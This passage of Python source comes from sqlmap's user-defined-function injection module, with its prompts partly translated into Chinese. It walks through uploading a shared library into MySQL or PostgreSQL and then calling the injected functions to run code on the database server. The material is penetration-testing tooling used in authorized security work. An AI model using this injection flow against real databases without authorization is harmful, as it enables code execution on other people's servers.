        elif self.udfLocalFile.endswith(".so") and Backend.isOs(OS.WINDOWS):
            errMsg = "您提供了共享对象.so作为共享库,但数据库底层操作系统是Windows。"
            raise SqlmapMissingMandatoryOptionException(errMsg)

        elif self.udfLocalFile.endswith(".dll") and Backend.isOs(OS.LINUX):
            errMsg = "您提供了一个动态链接库.dll作为共享库,但是底层操作系统的数据库是Linux"
            raise SqlmapMissingMandatoryOptionException(errMsg)

        self.udfSharedLibName = os.path.basename(
            self.udfLocalFile).split(".")[0]
        self.udfSharedLibExt = os.path.basename(
            self.udfLocalFile).split(".")[1]

        msg = "要从共享库创建多少用户定义的函数?"

        while True:
            udfCount = readInput(msg, default='1')

            if udfCount.isdigit():
                udfCount = int(udfCount)

                if udfCount <= 0:
                    logger.info("nothing to inject then")
                    return
                else:
                    break
            else:
                logger.warn("无效值,仅允许数字")

        for x in xrange(0, udfCount):
            while True:
                msg = "what is the name of the UDF number %d? " % (x + 1)
                udfName = readInput(msg)

                if udfName:
                    self.udfs[udfName] = {}
                    break
                else:
                    logger.warn("您需要指定UDF的名称")

            if Backend.isDbms(DBMS.MYSQL):
                defaultType = "string"
            elif Backend.isDbms(DBMS.PGSQL):
                defaultType = "text"

            self.udfs[udfName]["input"] = []

            msg = "UDF '%s'有多少输入参数?(默认值为1)" % udfName

            while True:
                parCount = readInput(msg, default='1')

                if parCount.isdigit() and int(parCount) >= 0:
                    parCount = int(parCount)
                    break

                else:
                    logger.warn("无效值,只允许数字 >= 0")

            for y in xrange(0, parCount):
                msg = "输入参数号码%d的数据类型是什么?(默认为%s类型) " % ((y + 1), defaultType)

                while True:
                    parType = readInput(msg, default=defaultType).strip()

                    if parType.isdigit():
                        logger.warn("您需要指定参数的数据类型")

                    else:
                        self.udfs[udfName]["input"].append(parType)
                        break

            msg = "what is the data-type of the return "
            msg += "value? (default: %s) " % defaultType

            while True:
                retType = readInput(msg, default=defaultType)

                if isinstance(retType, basestring) and retType.isdigit():
                    logger.warn("您需要指定返回值的数据类型")
                else:
                    self.udfs[udfName]["return"] = retType
                    break

        success = self.udfInjectCore(self.udfs)

        if success is False:
            self.cleanup(udfDict=self.udfs)
            return False

        msg = "你现在想要注入用户定义的函数吗?? [Y/n/q] "
        choice = readInput(msg, default='Y').upper()

        if choice == 'N':
            self.cleanup(udfDict=self.udfs)
            return
        elif choice == 'Q':
            self.cleanup(udfDict=self.udfs)
            raise SqlmapUserQuitException

        while True:
            udfList = []
            msg = "你想调用哪个UDF?"

            for udf in self.udfs.keys():
                udfList.append(udf)
                msg += "\n[%d] %s" % (len(udfList), udf)

            msg += "\n[q] Quit"

            while True:
                choice = readInput(msg).upper()

                if choice == 'Q':
                    break
                elif isinstance(choice, basestring) and choice.isdigit(
                ) and int(choice) > 0 and int(choice) <= len(udfList):
                    choice = int(choice)
                    break
                elif isinstance(choice,
                                int) and choice > 0 and choice <= len(udfList):
                    break
                else:
                    warnMsg = "无效值,只允许数字 >= 1 and <= %d " % len(udfList)
                    logger.warn(warnMsg)

            if not isinstance(choice, int):
                break

            cmd = ""
            count = 1
            udfToCall = udfList[choice - 1]

            for inp in self.udfs[udfToCall]["input"]:
                msg = "参数号 %d (数据类型: %s)的值是多少 " % (count, inp)

                while True:
                    parValue = readInput(msg)

                    if parValue:
                        if "int" not in inp and "bool" not in inp:
                            parValue = "'%s'" % parValue

                        cmd += "%s," % parValue

                        break
                    else:
                        logger.warn("您需要指定参数的值")

                count += 1

            cmd = cmd[:-1]
            msg = "你想要检索UDF的返回值吗? [Y/n] "

            if readInput(msg, default='Y', boolean=True):
                output = self.udfEvalCmd(cmd, udfName=udfToCall)

                if output:
                    conf.dumper.string("return value", output)
                else:
                    dataToStdout("No return value\n")
            else:
                self.udfExecCmd(cmd, udfName=udfToCall, silent=True)

            msg = "do you want to call this or another injected UDF? [Y/n] "

            if not readInput(msg, default='Y', boolean=True):
                break

        self.cleanup(udfDict=self.udfs)